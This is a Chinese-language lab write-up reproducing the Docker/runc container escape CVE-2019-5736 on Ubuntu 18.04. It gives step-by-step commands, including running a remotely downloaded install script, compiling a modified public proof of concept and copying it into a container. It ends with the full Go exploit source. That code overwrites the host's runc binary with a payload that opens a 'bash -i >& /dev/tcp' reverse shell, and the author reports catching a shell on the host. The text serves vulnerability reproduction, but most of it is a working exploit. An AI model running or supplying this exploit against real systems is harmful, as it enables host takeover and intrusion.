Docker逃逸漏洞复现（CVE-2019-5736）_踩坑记

Docker逃逸漏洞复现（CVE-2019-5736）

1、安装漏洞环境（Ubuntu 18.04）
下载脚本并执行：

curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh

2、执行完后查看版本信息

# 注：这里脚本执行完成后会直接进入docker环境中，需要退出然后再查看版本！！

3、以上脚本会自动拉取一个Ubuntu镜像：

4、下载修改Poc：

https://github.com/Frichetten/CVE-2019-5736-PoC

（1）修改POC：
增加要执行的命令，这里我直接反弹shell：

（2）修改sh为bash启动，否则进入容器会报错：

5、编译POC

CGO_ENABLED=0 GOOS=linux GOARCH=amd64  go build main.go
# 需要安装golang-go和gccgo-go

6、将编译好的main文件拷贝至docker镜像

docker cp main ff7b424d59bc:/home

7、在docker里面运行mian文件

注：docker里面我也安装了golang-go和gccgo-go，否则显示缺少libgo.so

8、模拟用户进入docker镜像：

docker exec -ti ff7b424d59bc /bin/bash
# POC中的/bin/sh需要改为/bin/bash，要不然报错：

9、查看docker里面运行的POC

10、命令成功执行，接收到反弹的shell

11、经查看，反弹的shell为宿主机

附修改后的POC：

package main

// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
        "fmt"
        "io/ioutil"
        "os"
        "strconv"
        "strings"
        "flag"
)


var shellCmd string

func init() {
        flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
        flag.Parse()
}

func main() {
        // This is the line of shell commands that will execute on the host
        var payload = "#!/bin/bash \n bash -i >& /dev/tcp/ip/port 0>&1" + shellCmd
        // First we overwrite /bin/sh with the /proc/self/exe interpreter path
        fd, err := os.Create("/bin/bash")
        if err != nil {
                fmt.Println(err)
                return
        }
        fmt.Fprintln(fd, "#!/proc/self/exe")
        err = fd.Close()
        if err != nil {
                fmt.Println(err)
                return
        }
        fmt.Println("[+] Overwritten /bin/sh successfully")

        // Loop through all processes to find one whose cmdline includes runcinit
        // This will be the process created by runc
        var found int
        for found == 0 {
                pids, err := ioutil.ReadDir("/proc")
                if err != nil {
                        fmt.Println(err)
                        return
                }
                for _, f := range pids {
                        fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
                        fstring := string(fbytes)
                        if strings.Contains(fstring, "runc") {
                                fmt.Println("[+] Found the PID:", f.Name())
                                found, err = strconv.Atoi(f.Name())
                                if err != nil {
                                        fmt.Println(err)
                                        return
                                }
                        }
                }
        }

        // We will use the pid to get a file handle for runc on the host.
        var handleFd = -1
        for handleFd == -1 {
                // Note, you do not need to use the O_PATH flag for the exploit to work.
                handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
                if int(handle.Fd()) > 0 {
                        handleFd = int(handle.Fd())
                }
        }
        fmt.Println("[+] Successfully got the file handle")

        // Now that we have the file handle, lets write to the runc binary and overwrite it
        // It will maintain it's executable flag
        for {
                writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
                if int(writeHandle.Fd()) > 0 {
                        fmt.Println("[+] Successfully got write handle", writeHandle)
                        fmt.Println("[+] The command executed is" + payload)
                        writeHandle.Write([]byte(payload))
                        return
                }
        }
}